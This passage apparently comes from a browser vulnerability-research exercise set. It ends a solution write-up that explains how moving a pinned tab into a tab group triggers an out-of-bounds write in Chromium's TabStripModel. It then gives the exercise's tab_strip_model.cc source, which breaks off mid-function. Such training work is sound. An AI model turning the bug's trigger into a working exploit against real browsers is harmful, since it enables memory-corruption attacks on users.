                     count() - 1);\n}\n======================================================\ntemplate <class T>\nconstexpr const T& ClampToRange(const T& value, const T& min, const T& max) {\n  return std::min(std::max(value, min), max);\n}\n  ```\n  If we make pinned tab at index 1, and non-pinned tab at 0. Then we move pinned tab to 0, this will trigger `MoveWebContentsAt`.\n\n  [1] `ConstrainMoveIndex(0, true);`, and [2] `min(1, 0, 0 - 1)`. This will result in an OOB write\n\n  How can we make a pinned tab that's not at the start of the tab strip?\n  ```c++\n void TabStripModel::MoveTabRelative(bool forward) {\n  const int offset = forward ? 1 : -1;\n\n  // TODO: this needs to be updated for multi-selection.\n  const int current_index = active_index();\n  absl::optional<tab_groups::TabGroupId> current_group =\n      GetTabGroupForTab(current_index);\n\n  int target_index = std::max(std::min(current_index + offset, count() - 1), 0);\n  absl::optional<tab_groups::TabGroupId> target_group =\n      GetTabGroupForTab(target_index);\n\n  // If the tab is at a group boundary and the group is expanded, instead of\n  // actually moving the tab just change its group membership.\n  if (current_group != target_group) {\n    if (current_group.has_value()) {\n      UngroupTab(current_index);\n      return;\n    } else if (target_group.has_value()) {\n      // If the tab is at a group boundary and the group is collapsed, treat the\n      // collapsed group as a tab and find the next available slot for the tab\n      // to move to.\n      const TabGroup* group = group_model_->GetTabGroup(target_group.value());\n      if (group->visual_data()->is_collapsed()) {\n        const gfx::Range tabs_in_group = group->ListTabs();\n        target_index =\n            forward ? tabs_in_group.end() - 1 : tabs_in_group.start();\n      } else {\n        GroupTab(current_index, target_group.value());\n        return;\n      }\n    }\n  }\n  MoveWebContentsAt(current_index, target_index, true);\n}\n  ```\n  `TabStripModel::MoveTabRelative` doesn't check whether a tab is pinned, so we can move pinned tab to a group. But a pinned tab typically can't be placed in a group, so the `Groups.move` operation have no check about move pinned tab to index 1 or other. Then the `IndexOfFirstNonPinnedTab` can be 0 at the same time pinned tab index 1.\n\n\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_2/exercise_4/tab_strip_model.cc",
    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"chrome/browser/ui/tabs/tab_strip_model.h\"\n\n#include <algorithm>\n#include <set>\n#include <string>\n#include <utility>\n\n#include \"base/auto_reset.h\"\n#include \"base/containers/flat_map.h\"\n#include \"base/metrics/histogram_macros.h\"\n#include \"base/metrics/user_metrics.h\"\n#include \"base/numerics/ranges.h\"\n#include \"base/ranges/algorithm.h\"\n#include \"base/scoped_observation.h\"\n#include \"base/strings/string_util.h\"\n#include \"base/strings/utf_string_conversions.h\"\n#include \"base/trace_event/trace_event.h\"\n#include \"build/build_config.h\"\n#include \"chrome/app/chrome_command_ids.h\"\n#include \"chrome/browser/content_settings/host_content_settings_map_factory.h\"\n#include \"chrome/browser/defaults.h\"\n#include \"chrome/browser/extensions/tab_helper.h\"\n#include \"chrome/browser/lifetime/browser_shutdown.h\"\n#include \"chrome/browser/profiles/profile.h\"\n#include \"chrome/browser/resource_coordinator/tab_helper.h\"\n#include \"chrome/browser/send_tab_to_self/send_tab_to_self_desktop_util.h\"\n#include \"chrome/browser/send_tab_to_self/send_tab_to_self_util.h\"\n#include \"chrome/browser/ui/bookmarks/bookmark_utils.h\"\n#include \"chrome/browser/ui/browser.h\"\n#include \"chrome/browser/ui/browser_commands.h\"\n#include \"chrome/browser/ui/browser_finder.h\"\n#include \"chrome/browser/ui/read_later/reading_list_model_factory.h\"\n#include \"chrome/browser/ui/tab_ui_helper.h\"\n#include \"chrome/browser/ui/tabs/tab_group.h\"\n#include \"chrome/browser/ui/tabs/tab_group_model.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_delegate.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_observer.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_order_controller.h\"\n#include \"chrome/browser/ui/tabs/tab_utils.h\"\n#include \"chrome/browser/ui/web_applications/web_app_dialog_utils.h\"\n#include \"chrome/browser/ui/web_applications/web_app_launch_utils.h\"\n#include \"chrome/common/url_constants.h\"\n#include \"chrome/grit/generated_resources.h\"\n#include \"components/content_settings/core/browser/host_content_settings_map.h\"\n#include \"components/reading_list/core/reading_list_model.h\"\n#include \"components/send_tab_to_self/metrics_util.h\"\n#include \"components/tab_groups/tab_group_id.h\"\n#include \"components/tab_groups/tab_group_visual_data.h\"\n#include \"components/web_modal/web_contents_modal_dialog_manager.h\"\n#include \"content/public/browser/render_process_host.h\"\n#include \"content/public/browser/render_widget_host.h\"\n#include \"content/public/browser/render_widget_host_observer.h\"\n#include \"content/public/browser/render_widget_host_view.h\"\n#include \"content/public/browser/web_contents.h\"\n#include \"content/public/browser/web_contents_observer.h\"\n#include \"third_party/perfetto/include/perfetto/tracing/traced_value.h\"\n#include \"ui/base/l10n/l10n_util.h\"\n#include \"ui/gfx/range/range.h\"\n#include \"ui/gfx/text_elider.h\"\n\nusing base::UserMetricsAction;\nusing content::WebContents;\n\nnamespace {\n\nclass RenderWidgetHostVisibilityTracker;\n\n// Works similarly to base::AutoReset but checks for access from the wrong\n// thread as well as ensuring that the previous value of the re-entrancy guard\n// variable was false.\nclass ReentrancyCheck {\n public:\n  explicit ReentrancyCheck(bool* guard_flag) : guard_flag_(guard_flag) {\n    DCHECK_CURRENTLY_ON(content::BrowserThread::UI);\n    DCHECK(!*guard_flag_);\n    *guard_flag_ = true;\n  }\n\n  ~ReentrancyCheck() { *guard_flag_ = false; }\n\n private:\n  bool* const guard_flag_;\n};\n\n// Returns true if the specified transition is one of the types that cause the\n// opener relationships for the tab in which the transition occurred to be\n// forgotten. This is generally any navigation that isn't a link click (i.e.\n// any navigation that can be considered to be the start of a new task distinct\n// from what had previously occurred in that tab).\nbool ShouldForgetOpenersForTransition(ui::PageTransition transition) {\n  return ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_TYPED) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_AUTO_BOOKMARK) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_GENERATED) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_KEYWORD) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_AUTO_TOPLEVEL);\n}\n\n// Intalls RenderWidgetVisibilityTracker when the active tab has changed.\nstd::unique_ptr<RenderWidgetHostVisibilityTracker>\nInstallRenderWigetVisibilityTracker(const TabStripSelectionChange& selection) {\n  if (!selection.active_tab_changed())\n    return nullptr;\n\n  content::RenderWidgetHost* track_host = nullptr;\n  if (selection.new_contents &&\n      selection.new_contents->GetRenderWidgetHostView()) {\n    track_host = selection.new_contents->GetRenderWidgetHostView()\n                     ->GetRenderWidgetHost();\n  }\n  return std::make_unique<RenderWidgetHostVisibilityTracker>(track_host);\n}\n\n// This tracks (and reports via UMA and tracing) how long it takes before a\n// RenderWidgetHost is requested to become visible.\nclass RenderWidgetHostVisibilityTracker\n    : public content::RenderWidgetHostObserver {\n public:\n  explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* host) {\n    if (!host || host->GetView()->IsShowing())\n      return;\n    observation_.Observe(host);\n    TRACE_EVENT_NESTABLE_ASYNC_BEGIN1(\"ui,latency\",\n                                      \"TabSwitchVisibilityRequest\", this,\n                                      \"render_widget_host\", host);\n  }\n  ~RenderWidgetHostVisibilityTracker() final = default;\n  RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTracker&) =\n      delete;\n  RenderWidgetHostVisibilityTracker& operator=(\n      const RenderWidgetHostVisibilityTracker&) = delete;\n\n private:\n  // content::RenderWidgetHostObserver:\n  void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host,\n                                         bool became_visible) override {\n    // TODO(crbug.com/1198798): DCHECKs are disabled during automated testing on\n    // CrOS and this check failed when tested on an experimental builder. Revert\n    // https://crrev.com/c/2835079 to enable it. See go/chrome-dcheck-on-cros\n    // or http://crbug.com/1113456 for more details.\n#if !defined(OS_CHROMEOS)\n    DCHECK(became_visible);\n#endif\n    UMA_HISTOGRAM_CUSTOM_MICROSECONDS_TIMES(\n        \"Browser.Tabs.SelectionToVisibilityRequestTime\", timer_.Elapsed(),\n        base::TimeDelta::FromMicroseconds(1), base::TimeDelta::FromSeconds(3),\n        50);\n    TRACE_EVENT_NESTABLE_ASYNC_END0(\"ui,latency\", \"TabSwitchVisibilityRequest\",\n                                    this);\n  }\n\n  void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) override {\n    DCHECK(observation_.IsObservingSource(host));\n    observation_.Reset();\n  }\n\n  base::ScopedObservation<content::RenderWidgetHost,\n                          content::RenderWidgetHostObserver>\n      observation_{this};\n  base::ElapsedTimer timer_;\n};\n\n}  // namespace\n\n///////////////////////////////////////////////////////////////////////////////\n// WebContentsData\n\n// An object to own a WebContents that is in a tabstrip, as well as other\n// various properties it has.\nclass TabStripModel::WebContentsData : public content::WebContentsObserver {\n public:\n  explicit WebContentsData(std::unique_ptr<WebContents> a_contents);\n  WebContentsData(const WebContentsData&) = delete;\n  WebContentsData& operator=(const WebContentsData&) = delete;\n\n  // Changes the WebContents that this WebContentsData tracks.\n  std::unique_ptr<WebContents> ReplaceWebContents(\n      std::unique_ptr<WebContents> contents);\n  WebContents* web_contents() { return contents_.get(); }\n\n  // See comments on fields.\n  WebContents* opener() const { return opener_; }\n  void set_opener(WebContents* value) {\n    DCHECK_NE(value, web_contents()) << \"A tab should not be its own opener.\";\n    opener_ = value;\n  }\n  void set_reset_opener_on_active_tab_change(bool value) {\n    reset_opener_on_active_tab_change_ = value;\n  }\n  bool reset_opener_on_active_tab_change() const {\n    return reset_opener_on_active_tab_change_;\n  }\n  bool pinned() const { return pinned_; }\n  void set_pinned(bool value) { pinned_ = value; }\n  bool blocked() const { return blocked_; }\n  void set_blocked(bool value) { blocked_ = value; }\n  absl::optional<tab_groups::TabGroupId> group() const { return group_; }\n  void set_group(absl::optional<tab_groups::TabGroupId> value) {\n    group_ = value;\n  }\n\n  void WriteIntoTrace(perfetto::TracedValue context) const {\n    auto dict = std::move(context).WriteDictionary();\n    dict.Add(\"web_contents\", contents_);\n    dict.Add(\"pinned\", pinned_);\n    dict.Add(\"blocked\", blocked_);\n  }\n\n private:\n  // Make sure that if someone deletes this WebContents out from under us, it\n  // is properly removed from the tab strip.\n  void WebContentsDestroyed() override;\n\n  // The WebContents owned by this WebContentsData.\n  std::unique_ptr<WebContents> contents_;\n\n  // The opener is used to model a set of tabs spawned from a single parent tab.\n  // The relationship is discarded easily, e.g. when the user switches to a tab\n  // not part of the set. This property is used to determine what tab to\n  // activate next when one is closed.\n  WebContents* opener_ = nullptr;\n\n  // True if |opener_| should be reset when any active tab change occurs (rather\n  // than just one outside the current tree of openers).\n  bool reset_opener_on_active_tab_change_ = false;\n\n  // Whether the tab is pinned.\n  bool pinned_ = false;\n\n  // Whether the tab interaction is blocked by a modal dialog.\n  bool blocked_ = false;\n\n  // The group that contains this tab, if any.\n  absl::optional<tab_groups::TabGroupId> group_ = absl::nullopt;\n};\n\nTabStripModel::WebContentsData::WebContentsData(\n    std::unique_ptr<WebContents> contents)\n    : content::WebContentsObserver(contents.get()),\n      contents_(std::move(contents)) {}\n\nstd::unique_ptr<WebContents> TabStripModel::WebContentsData::ReplaceWebContents(\n    std::unique_ptr<WebContents> contents) {\n  contents_.swap(contents);\n  Observe(contents_.get());\n  return contents;\n}\n\nvoid TabStripModel::WebContentsData::WebContentsDestroyed() {\n  // TODO(erikchen): Remove this NOTREACHED statement as well as the\n  // WebContents observer - this is just a temporary sanity check to make sure\n  // that unit tests are not destroyed a WebContents out from under a\n  // TabStripModel.\n  NOTREACHED();\n}\n\n// Holds state for a WebContents that has been detached from the tab strip. Will\n// also handle WebContents deletion if |will_delete| is true.\nstruct TabStripModel::DetachedWebContents {\n  DetachedWebContents(int index_before_any_removals,\n                      int index_at_time_of_removal,\n                      std::unique_ptr<WebContents> contents,\n                      bool will_delete)\n      : contents(std::move(contents)),\n        index_before_any_removals(index_before_any_removals),\n        index_at_time_of_removal(index_at_time_of_removal),\n        will_delete(will_delete) {}\n  DetachedWebContents(const DetachedWebContents&) = delete;\n  DetachedWebContents& operator=(const DetachedWebContents&) = delete;\n  ~DetachedWebContents() = default;\n  DetachedWebContents(DetachedWebContents&&) = default;\n\n  std::unique_ptr<WebContents> contents;\n\n  // The index of the WebContents in the original selection model of the tab\n  // strip [prior to any tabs being removed, if multiple tabs are being\n  // simultaneously removed].\n  const int index_before_any_removals;\n\n  // The index of the WebContents at the time it is being removed. If multiple\n  // tabs are being simultaneously removed, the index reflects previously\n  // removed tabs in this batch.\n  const int index_at_time_of_removal;\n\n  // Whether to delete the WebContents after sending notifications.\n  const bool will_delete;\n};\n\n// Holds all state necessary to send notifications for detached tabs.\nstruct TabStripModel::DetachNotifications {\n  DetachNotifications(WebContents* initially_active_web_contents,\n                      const ui::ListSelectionModel& selection_model)\n      : initially_active_web_contents(initially_active_web_contents),\n        selection_model(selection_model) {}\n  DetachNotifications(const DetachNotifications&) = delete;\n  DetachNotifications& operator=(const DetachNotifications&) = delete;\n  ~DetachNotifications() = default;\n\n  // The WebContents that was active prior to any detaches happening.\n  //\n  // It's safe to use a raw pointer here because the active web contents, if\n  // detached, is owned by |detached_web_contents|.\n  //\n  // Once the notification for change of active web contents has been sent,\n  // this field is set to nullptr.\n  WebContents* initially_active_web_contents = nullptr;\n\n  // The WebContents that were recently detached. Observers need to be notified\n  // about these. These must be updated after construction.\n  std::vector<std::unique_ptr<DetachedWebContents>> detached_web_contents;\n\n  // The selection model prior to any tabs being detached.\n  const ui::ListSelectionModel selection_model;\n};\n\n///////////////////////////////////////////////////////////////////////////////\n// TabStripModel, public:\n\nconstexpr int TabStripModel::kNoTab;\n\nTabStripModel::TabStripModel(TabStripModelDelegate* delegate, Profile* profile)\n    : delegate_(delegate), profile_(profile) {\n  DCHECK(delegate_);\n  order_controller_ = std::make_unique<TabStripModelOrderController>(this);\n  group_model_ = std::make_unique<TabGroupModel>(this);\n\n  constexpr base::TimeDelta kTabScrubbingHistogramIntervalTime =\n      base::TimeDelta::FromSeconds(30);\n\n  last_tab_switch_timestamp_ = base::TimeTicks::Now();\n  tab_scrubbing_interval_timer_.Start(\n      FROM_HERE, kTabScrubbingHistogramIntervalTime,\n      base::BindRepeating(&TabStripModel::RecordTabScrubbingMetrics,\n                          base::Unretained(this)));\n}\n\nTabStripModel::~TabStripModel() {\n  std::vector<TabStripModelObserver*> observers;\n  for (auto& observer : observers_)\n    observer.ModelDestroyed(TabStripModelObserver::ModelPasskey(), this);\n\n  contents_data_.clear();\n  order_controller_.reset();\n}\n\nvoid TabStripModel::SetTabStripUI(TabStripModelObserver* observer) {\n  DCHECK(!tab_strip_ui_was_set_);\n\n  std::vector<TabStripModelObserver*> new_observers{observer};\n  for (auto& old_observer : observers_)\n    new_observers.push_back(&old_observer);\n\n  observers_.Clear();\n\n  for (auto* new_observer : new_observers)\n    observers_.AddObserver(new_observer);\n\n  observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this);\n  tab_strip_ui_was_set_ = true;\n}\n\nvoid TabStripModel::AddObserver(TabStripModelObserver* observer) {\n  observers_.AddObserver(observer);\n  observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this);\n}\n\nvoid TabStripModel::RemoveObserver(TabStripModelObserver* observer) {\n  observer->StoppedObserving(TabStripModelObserver::ModelPasskey(), this);\n  observers_.RemoveObserver(observer);\n}\n\nbool TabStripModel::ContainsIndex(int index) const {\n  return index >= 0 && index < count();\n}\n\nvoid TabStripModel::AppendWebContents(std::unique_ptr<WebContents> contents,\n                                      bool foreground) {\n  InsertWebContentsAt(\n      count(), std::move(contents),\n      foreground ? (ADD_INHERIT_OPENER | ADD_ACTIVE) : ADD_NONE);\n}\n\nint TabStripModel::InsertWebContentsAt(\n    int index,\n    std::unique_ptr<WebContents> contents,\n    int add_types,\n    absl::optional<tab_groups::TabGroupId> group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n  return InsertWebContentsAtImpl(index, std::move(contents), add_types, group);\n}\n\nstd::unique_ptr<content::WebContents> TabStripModel::ReplaceWebContentsAt(\n    int index,\n    std::unique_ptr<WebContents> new_contents) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  delegate()->WillAddWebContents(new_contents.get());\n\n  DCHECK(ContainsIndex(index));\n\n  FixOpeners(index);\n\n  TabStripSelectionChange selection(GetActiveWebContents(), selection_model_);\n  WebContents* raw_new_contents = new_contents.get();\n  std::unique_ptr<WebContents> old_contents =\n      contents_data_[index]->ReplaceWebContents(std::move(new_contents));\n\n  // When the active WebContents is replaced send out a selection notification\n  // too. We do this as nearly all observers need to treat a replacement of the\n  // selected contents as the selection changing.\n  if (active_index() == index) {\n    selection.new_contents = raw_new_contents;\n    selection.reason = TabStripModelObserver::CHANGE_REASON_REPLACED;\n  }\n\n  TabStripModelChange::Replace replace;\n  replace.old_contents = old_contents.get();\n  replace.new_contents = raw_new_contents;\n  replace.index = index;\n  TabStripModelChange change(replace);\n  for (auto& observer : observers_)\n    observer.OnTabStripModelChanged(this, change, selection);\n\n  return old_contents;\n}\n\nstd::unique_ptr<content::WebContents> TabStripModel::DetachWebContentsAt(\n    int index) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK_NE(active_index(), kNoTab) << \"Activate the TabStripModel by \"\n                                       \"selecting at least one tab before \"\n                                       \"trying to detach web contents.\";\n  WebContents* initially_active_web_contents =\n      GetWebContentsAtImpl(active_index());\n\n  DetachNotifications notifications(initially_active_web_contents,\n                                    selection_model_);\n  std::unique_ptr<DetachedWebContents> dwc =\n      std::make_unique<DetachedWebContents>(\n          index, index,\n          DetachWebContentsImpl(index, /*create_historical_tab=*/false),\n          /*will_delete=*/false);\n  notifications.detached_web_contents.push_back(std::move(dwc));\n  SendDetachWebContentsNotifications(&notifications);\n  return std::move(notifications.detached_web_contents[0]->contents);\n}\n\nstd::unique_ptr<content::WebContents> TabStripModel::DetachWebContentsImpl(\n    int index,\n    bool create_historical_tab) {\n  if (contents_data_.empty())\n    return nullptr;\n  DCHECK(ContainsIndex(index));\n\n  FixOpeners(index);\n\n  // Ask the delegate to save an entry for this tab in the historical tab\n  // database.\n  WebContents* raw_web_contents = GetWebContentsAtImpl(index);\n  if (create_historical_tab)\n    delegate_->CreateHistoricalTab(raw_web_contents);\n\n  absl::optional<int> next_selected_index =\n      order_controller_->DetermineNewSelectedIndex(index);\n\n  UngroupTab(index);\n\n  std::unique_ptr<WebContentsData> old_data = std::move(contents_data_[index]);\n  contents_data_.erase(contents_data_.begin() + index);\n\n  if (empty()) {\n    selection_model_.Clear();\n  } else {\n    int old_active = active_index();\n    selection_model_.DecrementFrom(index);\n    ui::ListSelectionModel old_model;\n    old_model = selection_model_;\n    if (index == old_active) {\n      if (!selection_model_.empty()) {\n        // The active tab was removed, but there is still something selected.\n        // Move the active and anchor to the first selected index.\n        selection_model_.set_active(\n            *selection_model_.selected_indices().begin());\n        selection_model_.set_anchor(selection_model_.active());\n      } else {\n        DCHECK(next_selected_index.has_value());\n        // The active tab was removed and nothing is selected. Reset the\n        // selection and send out notification.\n        selection_model_.SetSelectedIndex(next_selected_index.value());\n      }\n    }\n  }\n  return old_data->ReplaceWebContents(nullptr);\n}\n\nvoid TabStripModel::SendDetachWebContentsNotifications(\n    DetachNotifications* notifications) {\n  // Sort the DetachedWebContents in decreasing order of\n  // |index_before_any_removals|. This is because |index_before_any_removals| is\n  // used by observers to update their own copy of TabStripModel state, and each\n  // removal affects subsequent removals of higher index.\n  std::sort(notifications->detached_web_contents.begin(),\n            notifications->detached_web_contents.end(),\n            [](const std::unique_ptr<DetachedWebContents>& dwc1,\n               const std::unique_ptr<DetachedWebContents>& dwc2) {\n              return dwc1->index_before_any_removals >\n                     dwc2->index_before_any_removals;\n            });\n\n  TabStripModelChange::Remove remove;\n  for (auto& dwc : notifications->detached_web_contents) {\n    remove.contents.push_back({dwc->contents.get(),\n                               dwc->index_before_any_removals,\n                               dwc->will_delete});\n  }\n  TabStripModelChange change(std::move(remove));\n\n  TabStripSelectionChange selection;\n  selection.old_contents = notifications->initially_active_web_contents;\n  selection.new_contents = GetActiveWebContents();\n  selection.old_model = notifications->selection_model;\n  selection.new_model = selection_model_;\n  selection.reason = TabStripModelObserver::CHANGE_REASON_NONE;\n  selection.selected_tabs_were_removed = std::any_of(\n      notifications->detached_web_contents.begin(),\n      notifications->detached_web_contents.end(), [&notifications](auto& dwc) {\n        return notifications->selection_model.IsSelected(\n            dwc->index_before_any_removals);\n      });\n\n  {\n    auto visibility_tracker =\n        empty() ? nullptr : InstallRenderWigetVisibilityTracker(selection);\n    for (auto& observer : observers_)\n      observer.OnTabStripModelChanged(this, change, selection);\n  }\n\n  for (auto& dwc : notifications->detached_web_contents) {\n    if (dwc->will_delete) {\n      // This destroys the WebContents, which will also send\n      // WebContentsDestroyed notifications.\n      dwc->contents.reset();\n    }\n  }\n\n  if (empty()) {\n    for (auto& observer : observers_)\n      observer.TabStripEmpty();\n  }\n}\n\nvoid TabStripModel::ActivateTabAt(int index, UserGestureDetails user_gesture) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK(ContainsIndex(index));\n  TRACE_EVENT0(\"ui\", \"TabStripModel::ActivateTabAt\");\n\n  // Maybe increment count of tabs 'scrubbed' by mouse or key press for\n  // histogram data.\n  if (user_gesture.type == GestureType::kMouse ||\n      user_gesture.type == GestureType::kKeyboard) {\n    constexpr base::TimeDelta kMaxTimeConsideredScrubbing =\n        base::TimeDelta::FromMilliseconds(1500);\n    base::TimeDelta elapsed_time_since_tab_switch =\n        base::TimeTicks::Now() - last_tab_switch_timestamp_;\n    if (elapsed_time_since_tab_switch <= kMaxTimeConsideredScrubbing) {\n      if (user_gesture.type == GestureType::kMouse)\n        ++tabs_scrubbed_by_mouse_press_count_;\n      else if (user_gesture.type == GestureType::kKeyboard)\n        ++tabs_scrubbed_by_key_press_count_;\n    }\n  }\n  last_tab_switch_timestamp_ = base::TimeTicks::Now();\n\n  TabSwitchEventLatencyRecorder::EventType event_type;\n  switch (user_gesture.type) {\n    case GestureType::kMouse:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kMouse;\n      break;\n    case GestureType::kKeyboard:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kKeyboard;\n      break;\n    case GestureType::kTouch:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kTouch;\n      break;\n    case GestureType::kWheel:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kWheel;\n      break;\n    default:\n      event_type = TabSwitchEventLatencyRecorder::EventType::kOther;\n      break;\n  }\n  tab_switch_event_latency_recorder_.BeginLatencyTiming(user_gesture.time_stamp,\n                                                        event_type);\n  ui::ListSelectionModel new_model = selection_model_;\n  new_model.SetSelectedIndex(index);\n  SetSelection(std::move(new_model),\n               user_gesture.type != GestureType::kNone\n                   ? TabStripModelObserver::CHANGE_REASON_USER_GESTURE\n                   : TabStripModelObserver::CHANGE_REASON_NONE,\n               /*triggered_by_other_operation=*/false);\n}\n\nvoid TabStripModel::RecordTabScrubbingMetrics() {\n  UMA_HISTOGRAM_COUNTS_10000(\"Tabs.ScrubbedInInterval.MousePress\",\n                             tabs_scrubbed_by_mouse_press_count_);\n  UMA_HISTOGRAM_COUNTS_10000(\"Tabs.ScrubbedInInterval.KeyPress\",\n                             tabs_scrubbed_by_key_press_count_);\n  tabs_scrubbed_by_mouse_press_count_ = 0;\n  tabs_scrubbed_by_key_press_count_ = 0;\n}\n\nint TabStripModel::MoveWebContentsAt(int index,\n                                     int to_position,\n                                     bool select_after_move) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK(ContainsIndex(index));\n\n  to_position = ConstrainMoveIndex(to_position, IsTabPinned(index));\n\n  if (index == to_position)\n    return to_position;\n\n  MoveWebContentsAtImpl(index, to_position, select_after_move);\n  EnsureGroupContiguity(to_position);\n\n  return to_position;\n}\n\nvoid TabStripModel::MoveSelectedTabsTo(int index) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  int total_pinned_count = IndexOfFirstNonPinnedTab();\n  int selected_pinned_count = 0;\n  const ui::ListSelectionModel::SelectedIndices& selected_indices =\n      selection_model_.selected_indices();\n  int selected_count = static_cast<int>(selected_indices.size());\n  for (auto selection : selected_indices) {\n    if (IsTabPinned(selection))\n      selected_pinned_count++;\n  }\n\n  // To maintain that all pinned tabs occur before non-pinned tabs we move them\n  // first.\n  if (selected_pinned_count > 0) {\n    MoveSelectedTabsToImpl(\n        std::min(total_pinned_count - selected_pinned_count, index), 0u,\n        selected_pinned_count);\n    if (index > total_pinned_count - selected_pinned_count) {\n      // We're being told to drag pinned tabs to an invalid location. Adjust the\n      // index such that non-pinned tabs end up at a location as though we could\n      // move the pinned tabs to index. See description in header for more\n      // details.\n      index += selected_pinned_count;\n    }\n  }\n  if (selected_pinned_count == selected_count)\n    return;\n\n  // Then move the non-pinned tabs.\n  MoveSelectedTabsToImpl(std::max(index, total_pinned_count),\n                         selected_pinned_count,\n                         selected_count - selected_pinned_count);\n}\n\nvoid TabStripModel::MoveGroupTo(const tab_groups::TabGroupId& group,\n                                int to_index) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK_NE(to_index, kNoTab);\n\n  gfx::Range tabs_in_group = group_model_->GetTabGroup(group)->ListTabs();\n  DCHECK_GT(tabs_in_group.length(), 0u);\n\n  int from_index = tabs_in_group.start();\n  if (to_index < from_index)\n    from_index = tabs_in_group.end() - 1;\n\n  for (size_t i = 0; i < tabs_in_group.length(); ++i)\n    MoveWebContentsAtImpl(from_index, to_index, false);\n\n  MoveTabGroup(group);\n}\n\nWebContents* TabStripModel::GetActiveWebContents() const {\n  return GetWebContentsAt(active_index());\n}\n\nWebContents* TabStripModel::GetWebContentsAt(int index) const {\n  if (ContainsIndex(index))\n    return GetWebContentsAtImpl(index);\n  return nullptr;\n}\n\nint TabStripModel::GetIndexOfWebContents(const WebContents* contents) const {\n  for (size_t i = 0; i < contents_data_.size(); ++i) {\n    if (contents_data_[i]->web_contents() == contents)\n      return i;\n  }\n  return kNoTab;\n}\n\nvoid TabStripModel::UpdateWebContentsStateAt(int index,\n                                             TabChangeType change_type) {\n  DCHECK(ContainsIndex(index));\n\n  for (auto& observer : observers_)\n    observer.TabChangedAt(GetWebContentsAtImpl(index), index, change_type);\n}\n\nvoid TabStripModel::SetTabNeedsAttentionAt(int index, bool attention) {\n  DCHECK(ContainsIndex(index));\n\n  for (auto& observer : observers_)\n    observer.SetTabNeedsAttentionAt(index, attention);\n}\n\nvoid TabStripModel::CloseAllTabs() {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  // Set state so that observers can adjust their behavior to suit this\n  // specific condition when CloseWebContentsAt causes a flurry of\n  // Close/Detach/Select notifications to be sent.\n  closing_all_ = true;\n  std::vector<content::WebContents*> closing_tabs;\n  closing_tabs.reserve(count());\n  for (int i = count() - 1; i >= 0; --i)\n    closing_tabs.push_back(GetWebContentsAt(i));\n  InternalCloseTabs(closing_tabs, CLOSE_CREATE_HISTORICAL_TAB);\n}\n\nvoid TabStripModel::CloseAllTabsInGroup(const tab_groups::TabGroupId& group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  delegate_->CreateHistoricalGroup(group);\n\n  gfx::Range tabs_in_group = group_model_->GetTabGroup(group)->ListTabs();\n  if (static_cast<int>(tabs_in_group.length()) == count())\n    closing_all_ = true;\n\n  std::vector<content::WebContents*> closing_tabs;\n  closing_tabs.reserve(tabs_in_group.length());\n  for (uint32_t i = tabs_in_group.end(); i > tabs_in_group.start(); --i)\n    closing_tabs.push_back(GetWebContentsAt(i - 1));\n  InternalCloseTabs(closing_tabs, CLOSE_CREATE_HISTORICAL_TAB);\n}\n\nbool TabStripModel::CloseWebContentsAt(int index, uint32_t close_types) {\n  DCHECK(ContainsIndex(index));\n  WebContents* contents = GetWebContentsAt(index);\n  return InternalCloseTabs(base::span<WebContents* const>(&contents, 1),\n                           close_types);\n}\n\nbool TabStripModel::TabsAreLoading() const {\n  for (const auto& data : contents_data_) {\n    if (data->web_contents()->IsLoading())\n      return true;\n  }\n\n  return false;\n}\n\nWebContents* TabStripModel::GetOpenerOfWebContentsAt(int index) {\n  DCHECK(ContainsIndex(index));\n  return contents_data_[index]->opener();\n}\n\nvoid TabStripModel::SetOpenerOfWebContentsAt(int index, WebContents* opener) {\n  DCHECK(ContainsIndex(index));\n  // The TabStripModel only maintains the references to openers that it itself\n  // owns; trying to set an opener to an external WebContents can result in\n  // the opener being used after its freed. See crbug.com/698681.\n  DCHECK(!opener || GetIndexOfWebContents(opener) != kNoTab)\n      << \"Cannot set opener to a web contents not owned by this tab strip.\";\n  contents_data_[index]->set_opener(opener);\n}\n\nint TabStripModel::GetIndexOfLastWebContentsOpenedBy(const WebContents* opener,\n                                                     int start_index) const {\n  DCHECK(opener);\n  DCHECK(ContainsIndex(start_index));\n\n  std::set<const WebContents*> opener_and_descendants;\n  opener_and_descendants.insert(opener);\n  int last_index = kNoTab;\n\n  for (int i = start_index + 1; i < count(); ++i) {\n    // Test opened by transitively, i.e. include tabs opened by tabs opened by\n    // opener, etc. Stop when we find the first non-descendant.\n    if (!opener_and_descendants.count(contents_data_[i]->opener())) {\n      // Skip over pinned tabs as new tabs are added after pinned tabs.\n      if (contents_data_[i]->pinned())\n        continue;\n      break;\n    }\n    